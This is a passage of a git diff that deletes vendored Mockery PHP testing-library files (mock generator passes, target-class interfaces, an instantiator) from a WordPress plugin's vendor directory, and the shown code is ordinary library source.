- return $this; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/MockDefinition.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/MockDefinition.php deleted file mode 100644 index 337c31f6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/MockDefinition.php +++ /dev/null @@ -1,64 +0,0 @@ -getName()) { - throw new InvalidArgumentException('MockConfiguration must contain a name'); - } - - $this->config = $config; - $this->code = $code; - } - - /** - * @return string - */ - public function getClassName() - { - return $this->config->getName(); - } - - /** - * @return string - */ - public function getCode() - { - return $this->code; - } - - /** - * @return MockConfiguration - */ - public function getConfig() - { - return $this->config; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/MockNameBuilder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/MockNameBuilder.php deleted file mode 100644 index 424cdc59..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/MockNameBuilder.php +++ /dev/null @@ -1,51 +0,0 @@ - - */ - protected $parts = []; - - /** - * @param string $part - */ - public function addPart($part) - { - $this->parts[] = $part; - - return $this; - } - - /** - * @return string - */ - public function build() - { - $parts = ['Mockery', static::$mockCounter++]; - - foreach ($this->parts as $part) { - $parts[] = str_replace('\\', '_', $part); - } - - return implode('_', $parts); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/Parameter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/Parameter.php deleted file mode 100644 index 442a713c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/Parameter.php +++ /dev/null @@ -1,130 +0,0 @@ -rfp = $rfp; - } - - /** - * Proxy all method calls to the reflection parameter. - * - * @template TMixed - * @template TResult - * - * @param string $method - * @param array $args - * - * @return TResult - */ - public function __call($method, array $args) - { - /** @var TResult */ - return $this->rfp->{$method}(...$args); - } - - /** - * Get the reflection class for the parameter type, if it exists. - * - * This will be null if there was no type, or it was a scalar or a union. - * - * @return null|ReflectionClass - * - * @deprecated since 1.3.3 and will be removed in 2.0. - */ - public function getClass() - { - $typeHint = Reflector::getTypeHint($this->rfp, true); - - return class_exists($typeHint) ? DefinedTargetClass::factory($typeHint, false) : null; - } - - /** - * Get the name of the parameter. - * - * Some internal classes have funny looking definitions! - * - * @return string - */ - public function getName() - { - $name = $this->rfp->getName(); - - if (! $name || $name === '...') { - return 'arg' . self::$parameterCounter++; - } - - return $name; - } - - /** - * Get the string representation for the paramater type. - * - * @return null|string - */ - public function getTypeHint() - { - return Reflector::getTypeHint($this->rfp); - } - - /** - * Get the string representation for the paramater type. - * - * @return string - * - * @deprecated since 1.3.2 and will be removed in 2.0. Use getTypeHint() instead. - */ - public function getTypeHintAsString() - { - return (string) Reflector::getTypeHint($this->rfp, true); - } - - /** - * Determine if the parameter is an array. - * - * @return bool - */ - public function isArray() - { - return Reflector::isArray($this->rfp); - } - - /** - * Determine if the parameter is variadic. - * - * @return bool - */ - public function isVariadic() - { - return $this->rfp->isVariadic(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/AvoidMethodClashPass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/AvoidMethodClashPass.php deleted file mode 100644 index 4a7e2a57..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/AvoidMethodClashPass.php +++ /dev/null @@ -1,42 +0,0 @@ -getName(); - }, $config->getMethodsToMock()); - - foreach (['allows', 'expects'] as $method) { - if (in_array($method, $names, true)) { - $code = preg_replace(sprintf('#// start method %s.*// end method %s#ms', $method, $method), '', $code); - - $code = str_replace(' implements MockInterface', ' implements LegacyMockInterface', $code); - } - } - - return $code; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/CallTypeHintPass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/CallTypeHintPass.php deleted file mode 100644 index 747fdeee..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/CallTypeHintPass.php +++ /dev/null @@ -1,42 +0,0 @@ -requiresCallTypeHintRemoval()) { - $code = str_replace( - 'public function __call($method, array $args)', - 'public function __call($method, $args)', - $code - ); - } - - if ($config->requiresCallStaticTypeHintRemoval()) { - return str_replace( - 'public static function __callStatic($method, array $args)', - 'public static function __callStatic($method, $args)', - $code - ); - } - - return $code; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/ClassAttributesPass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/ClassAttributesPass.php deleted file mode 100644 index 86b157ea..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/ClassAttributesPass.php +++ /dev/null @@ -1,40 +0,0 @@ -getTargetClass(); - - if (! $class) { - return $code; - } - - /** @var array $attributes */ - $attributes = $class->getAttributes(); - - if ($attributes !== []) { - return str_replace('#[\AllowDynamicProperties]', '#[' . implode(',', $attributes) . ']', $code); - } - - return $code; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/ClassNamePass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/ClassNamePass.php deleted file mode 100644 index 0280a064..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/ClassNamePass.php +++ /dev/null @@ -1,35 +0,0 @@ -getNamespaceName(); - - $namespace = ltrim($namespace, '\\'); - - $className = $config->getShortName(); - - $code = str_replace('namespace Mockery;', $namespace !== '' ? 'namespace ' . $namespace . ';' : '', $code); - - return str_replace('class Mock', 'class ' . $className, $code); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/ClassPass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/ClassPass.php deleted file mode 100644 index ba4826c6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/ClassPass.php +++ /dev/null @@ -1,49 +0,0 @@ -getTargetClass(); - - if (! $target) { - return $code; - } - - if ($target->isFinal()) { - return $code; - } - - $className = ltrim($target->getName(), '\\'); - - if (! class_exists($className)) { - Mockery::declareClass($className); - } - - return str_replace( - 'implements MockInterface', - 'extends \\' . $className . ' implements MockInterface', - $code - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/ConstantsPass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/ConstantsPass.php deleted file mode 100644 index 1088a0de..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/ConstantsPass.php +++ /dev/null @@ -1,51 +0,0 @@ -getConstantsMap(); - if ($cm === []) { - return $code; - } - - $name = $config->getName(); - if (! array_key_exists($name, $cm)) { - return $code; - } - - $constantsCode = ''; - foreach ($cm[$name] as $constant => $value) { - $constantsCode .= sprintf("\n const %s = %s;\n", $constant, var_export($value, true)); - } - - $offset = strrpos($code, '}'); - if ($offset === false) { - return $code; - } - - return substr_replace($code, $constantsCode, $offset) . '}' . PHP_EOL; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/InstanceMockPass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/InstanceMockPass.php deleted file mode 100644 index 78adba48..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/InstanceMockPass.php +++ /dev/null @@ -1,78 +0,0 @@ -_mockery_ignoreVerification = false; - \$associatedRealObject = \Mockery::fetchMock(__CLASS__); - - foreach (get_object_vars(\$this) as \$attr => \$val) { - if (\$attr !== "_mockery_ignoreVerification" && \$attr !== "_mockery_expectations") { - \$this->\$attr = \$associatedRealObject->\$attr; - } - } - - \$directors = \$associatedRealObject->mockery_getExpectations(); - foreach (\$directors as \$method=>\$director) { - // get the director method needed - \$existingDirector = \$this->mockery_getExpectationsFor(\$method); - if (!\$existingDirector) { - \$existingDirector = new \Mockery\ExpectationDirector(\$method, \$this); - \$this->mockery_setExpectationsFor(\$method, \$existingDirector); - } - \$expectations = \$director->getExpectations(); - foreach (\$expectations as \$expectation) { - \$clonedExpectation = clone \$expectation; - \$existingDirector->addExpectation(\$clonedExpectation); - } - \$defaultExpectations = \$director->getDefaultExpectations(); - foreach (array_reverse(\$defaultExpectations) as \$expectation) { - \$clonedExpectation = clone \$expectation; - \$existingDirector->addExpectation(\$clonedExpectation); - \$existingDirector->makeExpectationDefault(\$clonedExpectation); - } - } - \Mockery::getContainer()->rememberMock(\$this); - - \$this->_mockery_constructorCalled(func_get_args()); - } -MOCK; - - /** - * @param string $code - * @return string - */ - public function apply($code, MockConfiguration $config) - { - if ($config->isInstanceMock()) { - return $this->appendToClass($code, static::INSTANCE_MOCK_CODE); - } - - return $code; - } - - protected function appendToClass($class, $code) - { - $lastBrace = strrpos($class, '}'); - return substr($class, 0, $lastBrace) . $code . "\n }\n"; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/InterfacePass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/InterfacePass.php deleted file mode 100644 index 4eabcb08..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/InterfacePass.php +++ /dev/null @@ -1,41 +0,0 @@ -getTargetInterfaces() as $i) { - $name = ltrim($i->getName(), '\\'); - if (! interface_exists($name)) { - Mockery::declareInterface($name); - } - } - - $interfaces = array_reduce($config->getTargetInterfaces(), static function ($code, $i) { - return $code . ', \\' . ltrim($i->getName(), '\\'); - }, ''); - - return str_replace('implements MockInterface', 'implements MockInterface' . $interfaces, $code); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/MagicMethodTypeHintsPass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/MagicMethodTypeHintsPass.php deleted file mode 100644 index f4191fd8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/MagicMethodTypeHintsPass.php +++ /dev/null @@ -1,197 +0,0 @@ -getMagicMethods($config->getTargetClass()); - foreach ($config->getTargetInterfaces() as $interface) { - $magicMethods = array_merge($magicMethods, $this->getMagicMethods($interface)); - } - - foreach ($magicMethods as $method) { - $code = $this->applyMagicTypeHints($code, $method); - } - - return $code; - } - - /** - * Returns the magic methods within the - * passed DefinedTargetClass. - * - * @return array - */ - public function getMagicMethods(?TargetClassInterface $class = null) - { - if (! $class instanceof TargetClassInterface) { - return []; - } - - return array_filter($class->getMethods(), function (Method $method) { - return in_array($method->getName(), $this->mockMagicMethods, true); - }); - } - - protected function renderTypeHint(Parameter $param) - { - $typeHint = $param->getTypeHint(); - - return $typeHint === null ? '' : sprintf('%s ', $typeHint); - } - - /** - * Applies type hints of magic methods from - * class to the passed code. - * - * @param int $code - * - * @return string - */ - private function applyMagicTypeHints($code, Method $method) - { - if ($this->isMethodWithinCode($code, $method)) { - $namedParameters = $this->getOriginalParameters($code, $method); - $code = preg_replace( - $this->getDeclarationRegex($method->getName()), - $this->getMethodDeclaration($method, $namedParameters), - $code - ); - } - - return $code; - } - - /** - * Returns a regex string used to match the - * declaration of some method. - * - * @param string $methodName - * - * @return string - */ - private function getDeclarationRegex($methodName) - { - return sprintf('/public\s+(?:static\s+)?function\s+%s\s*\(.*\)\s*(?=\{)/i', $methodName); - } - - /** - * Gets the declaration code, as a string, for the passed method. - * - * @param array $namedParameters - * - * @return string - */ - private function getMethodDeclaration(Method $method, array $namedParameters) - { - $declaration = 'public'; - $declaration .= $method->isStatic() ? ' static' : ''; - $declaration .= ' function ' . $method->getName() . '('; - - foreach ($method->getParameters() as $index => $parameter) { - $declaration .= $this->renderTypeHint($parameter); - $name = $namedParameters[$index] ?? $parameter->getName(); - $declaration .= '$' . $name; - $declaration .= ','; - } - - $declaration = rtrim($declaration, ','); - $declaration .= ') '; - - $returnType = $method->getReturnType(); - if ($returnType !== null) { - $declaration .= sprintf(': %s', $returnType); - } - - return $declaration; - } - - /** - * Returns the method original parameters, as they're - * described in the $code string. - * - * @param int $code - * - * @return array - */ - private function getOriginalParameters($code, Method $method) - { - $matches = []; - $parameterMatches = []; - - preg_match($this->getDeclarationRegex($method->getName()), $code, $matches); - - if ($matches !== []) { - preg_match_all('/(?<=\$)(\w+)+/i', $matches[0], $parameterMatches); - } - - $groupMatches = end($parameterMatches); - - return is_array($groupMatches) ? $groupMatches : [$groupMatches]; - } - - /** - * Checks if the method is declared within code. - * - * @param int $code - * - * @return bool - */ - private function isMethodWithinCode($code, Method $method) - { - return preg_match($this->getDeclarationRegex($method->getName()), $code) === 1; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/MethodDefinitionPass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/MethodDefinitionPass.php deleted file mode 100644 index 68d37f9d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/MethodDefinitionPass.php +++ /dev/null @@ -1,199 +0,0 @@ -getMethodsToMock() as $method) { - if ($method->isPublic()) { - $methodDef = 'public'; - } elseif ($method->isProtected()) { - $methodDef = 'protected'; - } else { - $methodDef = 'private'; - } - - if ($method->isStatic()) { - $methodDef .= ' static'; - } - - $methodDef .= ' function '; - $methodDef .= $method->returnsReference() ? ' & ' : ''; - $methodDef .= $method->getName(); - $methodDef .= $this->renderParams($method, $config); - $methodDef .= $this->renderReturnType($method); - $methodDef .= $this->renderMethodBody($method, $config); - - $code = $this->appendToClass($code, $methodDef); - } - - return $code; - } - - protected function appendToClass($class, $code) - { - $lastBrace = strrpos($class, '}'); - return substr($class, 0, $lastBrace) . $code . "\n }\n"; - } - - protected function renderParams(Method $method, $config) - { - $class = $method->getDeclaringClass(); - if ($class->isInternal()) { - $overrides = $config->getParameterOverrides(); - - if (isset($overrides[strtolower($class->getName())][$method->getName()])) { - return '(' . implode(',', $overrides[strtolower($class->getName())][$method->getName()]) . ')'; - } - } - - $methodParams = []; - $params = $method->getParameters(); - $isPhp81 = PHP_VERSION_ID >= 80100; - foreach ($params as $param) { - $paramDef = $this->renderTypeHint($param); - $paramDef .= $param->isPassedByReference() ? '&' : ''; - $paramDef .= $param->isVariadic() ? '...' : ''; - $paramDef .= '$' . $param->getName(); - - if (! $param->isVariadic()) { - if ($param->isDefaultValueAvailable() !== false) { - $defaultValue = $param->getDefaultValue(); - - if (is_object($defaultValue)) { - $prefix = get_class($defaultValue); - if ($isPhp81) { - if (enum_exists($prefix)) { - $prefix = var_export($defaultValue, true); - } elseif ( - ! $param->isDefaultValueConstant() && - // "Parameter #1 [ F\Q\CN $a = new \F\Q\CN(param1, param2: 2) ] - preg_match( - '#\s.*?\s=\snew\s(.*?)\s]$#', - $param->__toString(), - $matches - ) === 1 - ) { - $prefix = 'new ' . $matches[1]; - } - } - } else { - $prefix = var_export($defaultValue, true); - } - - $paramDef .= ' = ' . $prefix; - } elseif ($param->isOptional()) { - $paramDef .= ' = null'; - } - } - - $methodParams[] = $paramDef; - } - - return '(' . implode(', ', $methodParams) . ')'; - } - - protected function renderReturnType(Method $method) - { - $type = $method->getReturnType(); - - return $type ? sprintf(': %s', $type) : ''; - } - - protected function renderTypeHint(Parameter $param) - { - $typeHint = $param->getTypeHint(); - - return $typeHint === null ? '' : sprintf('%s ', $typeHint); - } - - private function renderMethodBody($method, $config) - { - $invoke = $method->isStatic() ? 'static::_mockery_handleStaticMethodCall' : '$this->_mockery_handleMethodCall'; - $body = <<getDeclaringClass(); - $class_name = strtolower($class->getName()); - $overrides = $config->getParameterOverrides(); - if (isset($overrides[$class_name][$method->getName()])) { - $params = array_values($overrides[$class_name][$method->getName()]); - $paramCount = count($params); - for ($i = 0; $i < $paramCount; ++$i) { - $param = $params[$i]; - if (strpos($param, '&') !== false) { - $body .= << {$i}) { - \$argv[{$i}] = {$param}; -} - -BODY; - } - } - } else { - $params = array_values($method->getParameters()); - $paramCount = count($params); - for ($i = 0; $i < $paramCount; ++$i) { - $param = $params[$i]; - if (! $param->isPassedByReference()) { - continue; - } - - $body .= << {$i}) { - \$argv[{$i}] =& \${$param->getName()}; -} - -BODY; - } - } - - $body .= "\$ret = {$invoke}(__FUNCTION__, \$argv);\n"; - - if (! in_array($method->getReturnType(), ['never', 'void'], true)) { - $body .= "return \$ret;\n"; - } - - return $body . "}\n"; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/Pass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/Pass.php deleted file mode 100644 index 9200873b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/Pass.php +++ /dev/null @@ -1,22 +0,0 @@ - '/public function __wakeup\(\)\s+\{.*?\}/sm', - '__toString' => '/public function __toString\(\)\s+(:\s+string)?\s*\{.*?\}/sm', - ]; - - /** - * @param string $code - * @return string - */ - public function apply($code, MockConfiguration $config) - { - $target = $config->getTargetClass(); - - if (! $target instanceof TargetClassInterface) { - return $code; - } - - foreach ($target->getMethods() as $method) { - if (! $method->isFinal()) { - continue; - } - - if (! isset($this->methods[$method->getName()])) { - continue; - } - - $code = preg_replace($this->methods[$method->getName()], '', $code); - } - - return $code; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/RemoveDestructorPass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/RemoveDestructorPass.php deleted file mode 100644 index 7fd86e7b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/RemoveDestructorPass.php +++ /dev/null @@ -1,39 +0,0 @@ -getTargetClass(); - - if (! $target) { - return $code; - } - - if (! $config->isMockOriginalDestructor()) { - return preg_replace('/public function __destruct\(\)\s+\{.*?\}/sm', '', $code); - } - - return $code; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/RemoveUnserializeForInternalSerializableClassesPass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/RemoveUnserializeForInternalSerializableClassesPass.php deleted file mode 100644 index 5bbb578e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/RemoveUnserializeForInternalSerializableClassesPass.php +++ /dev/null @@ -1,57 +0,0 @@ -getTargetClass(); - - if (! $target) { - return $code; - } - - if (! $target->hasInternalAncestor() || ! $target->implementsInterface('Serializable')) { - return $code; - } - - return $this->appendToClass( - $code, - PHP_VERSION_ID < 80100 ? self::DUMMY_METHOD_DEFINITION_LEGACY : self::DUMMY_METHOD_DEFINITION - ); - } - - protected function appendToClass($class, $code) - { - $lastBrace = strrpos($class, '}'); - return substr($class, 0, $lastBrace) . $code . "\n }\n"; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/TraitPass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/TraitPass.php deleted file mode 100644 index faf2a90f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/TraitPass.php +++ /dev/null @@ -1,39 +0,0 @@ -getTargetTraits(); - - if ($traits === []) { - return $code; - } - - $useStatements = array_map(static function ($trait) { - return 'use \\\\' . ltrim($trait->getName(), '\\') . ';'; - }, $traits); - - return preg_replace('/^{$/m', "{\n " . implode("\n ", $useStatements) . "\n", $code); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulationGenerator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulationGenerator.php deleted file mode 100644 index 5cb14217..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulationGenerator.php +++ /dev/null @@ -1,102 +0,0 @@ - - */ - protected $passes = []; - - /** - * @var string - */ - private $code; - - /** - * @param list $passes - */ - public function __construct(array $passes) - { - $this->passes = $passes; - - $this->code = file_get_contents(__DIR__ . '/../Mock.php'); - } - - /** - * @param Pass $pass - * @return void - */ - public function addPass(Pass $pass) - { - $this->passes[] = $pass; - } - - /** - * @return MockDefinition - */ - public function generate(MockConfiguration $config) - { - $className = $config->getName() ?: $config->generateName(); - - $namedConfig = $config->rename($className); - - $code = $this->code; - foreach ($this->passes as $pass) { - $code = $pass->apply($code, $namedConfig); - } - - return new MockDefinition($namedConfig, $code); - } - - /** - * Creates a new StringManipulationGenerator with the default passes - * - * @return StringManipulationGenerator - */ - public static function withDefaultPasses() - { - return new static([ - new CallTypeHintPass(), - new MagicMethodTypeHintsPass(), - new ClassPass(), - new TraitPass(), - new ClassNamePass(), - new InstanceMockPass(), - new InterfacePass(), - new AvoidMethodClashPass(), - new MethodDefinitionPass(), - new RemoveUnserializeForInternalSerializableClassesPass(), - new RemoveBuiltinMethodsThatAreFinalPass(), - new RemoveDestructorPass(), - new ConstantsPass(), - new ClassAttributesPass(), - ]); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/TargetClassInterface.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/TargetClassInterface.php deleted file mode 100644 index 730ae1b5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/TargetClassInterface.php +++ /dev/null @@ -1,104 +0,0 @@ - - */ - public function getAttributes(); - - /** - * Returns the targetClass's interfaces. - * - * @return array - */ - public function getInterfaces(); - - /** - * Returns the targetClass's methods. - * - * @return array - */ - public function getMethods(); - - /** - * Returns the targetClass's name. - * - * @return class-string - */ - public function getName(); - - /** - * Returns the targetClass's namespace name. - * - * @return string - */ - public function getNamespaceName(); - - /** - * Returns the targetClass's short name. - * - * @return string - */ - public function getShortName(); - - /** - * Returns whether the targetClass has - * an internal ancestor. - * - * @return bool - */ - public function hasInternalAncestor(); - - /** - * Returns whether the targetClass is in - * the passed interface. - * - * @param class-string|string $interface - * - * @return bool - */ - public function implementsInterface($interface); - - /** - * Returns whether the targetClass is in namespace. - * - * @return bool - */ - public function inNamespace(); - - /** - * Returns whether the targetClass is abstract. - * - * @return bool - */ - public function isAbstract(); - - /** - * Returns whether the targetClass is final. - * - * @return bool - */ - public function isFinal(); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/UndefinedTargetClass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/UndefinedTargetClass.php deleted file mode 100644 index ea722025..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/UndefinedTargetClass.php +++ /dev/null @@ -1,141 +0,0 @@ -name = $name; - } - - /** - * @return class-string - */ - public function __toString() - { - return $this->name; - } - - /** - * @param class-string $name - * @return self - */ - public static function factory($name) - { - return new self($name); - } - - /** - * @return list - */ - public function getAttributes() - { - return []; - } - - /** - * @return list - */ - public function getInterfaces() - { - return []; - } - - /** - * @return list - */ - public function getMethods() - { - return []; - } - - /** - * @return class-string - */ - public function getName() - { - return $this->name; - } - - /** - * @return string - */ - public function getNamespaceName() - { - $parts = explode('\\', ltrim($this->getName(), '\\')); - array_pop($parts); - return implode('\\', $parts); - } - - /** - * @return string - */ - public function getShortName() - { - $parts = explode('\\', $this->getName()); - return array_pop($parts); - } - - /** - * @return bool - */ - public function hasInternalAncestor() - { - return false; - } - - /** - * @param class-string $interface - * @return bool - */ - public function implementsInterface($interface) - { - return false; - } - - /** - * @return bool - */ - public function inNamespace() - { - return $this->getNamespaceName() !== ''; - } - - /** - * @return bool - */ - public function isAbstract() - { - return false; - } - - /** - * @return bool - */ - public function isFinal() - { - return false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/HigherOrderMessage.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/HigherOrderMessage.php deleted file mode 100644 index 42df34be..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/HigherOrderMessage.php +++ /dev/null @@ -1,52 +0,0 @@ -mock = $mock; - $this->method = $method; - } - - /** - * @param string $method - * @param array $args - * - * @return Expectation|ExpectationInterface|HigherOrderMessage - */ - public function __call($method, $args) - { - if ($this->method === 'shouldNotHaveReceived') { - return $this->mock->{$this->method}($method, $args); - } - - $expectation = $this->mock->{$this->method}($method); - - return $expectation->withArgs($args); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Instantiator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Instantiator.php deleted file mode 100644 index 11b8e5ba..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Instantiator.php +++ /dev/null @@ -1,147 +0,0 @@ - $className - * - * @throws InvalidArgumentException - * @throws UnexpectedValueException - * - * @return TClass - */ - public function instantiate($className): object - { - return $this->buildFactory($className)(); - } - - /** - * @throws UnexpectedValueException - */ - private function attemptInstantiationViaUnSerialization( - ReflectionClass $reflectionClass, - string $serializedString - ): void { - set_error_handler(static function ($code, $message, $file, $line) use ($reflectionClass, &$error): void { - $msg = sprintf( - 'Could not produce an instance of "%s" via un-serialization, since an error was triggered in file "%s" at line "%d"', - $reflectionClass->getName(), - $file, - $line - ); - - $error = new UnexpectedValueException($msg, 0, new Exception($message, $code)); - }); - - try { - unserialize($serializedString); - } catch (Exception $exception) { - restore_error_handler(); - - throw new UnexpectedValueException( - sprintf( - 'An exception was raised while trying to instantiate an instance of "%s" via un-serialization', - $reflectionClass->getName() - ), - 0, - $exception - ); - } - - restore_error_handler(); - - if ($error instanceof UnexpectedValueException) { - throw $error; - } - } - - /** - * Builds a {@see Closure} capable of instantiating the given $className without invoking its constructor. - */ - private function buildFactory(string $className): Closure - { - $reflectionClass = $this->getReflectionClass($className); - - if ($this->isInstantiableViaReflection($reflectionClass)) { - return static function () use ($reflectionClass) { - return $reflectionClass->newInstanceWithoutConstructor(); - }; - } - - $serializedString = sprintf('O:%d:"%s":0:{}', strlen($className), $className); - - $this->attemptInstantiationViaUnSerialization($reflectionClass, $serializedString); - - return static function () use ($serializedString) { - return unserialize($serializedString); - }; - } - - /** - * @throws InvalidArgumentException - */ - private function getReflectionClass(string $className): ReflectionClass - { - if (! class_exists($className)) { - throw new InvalidArgumentException(sprintf('Class:%s does not exist', $className)); - } - - $reflection = new ReflectionClass($className); - - 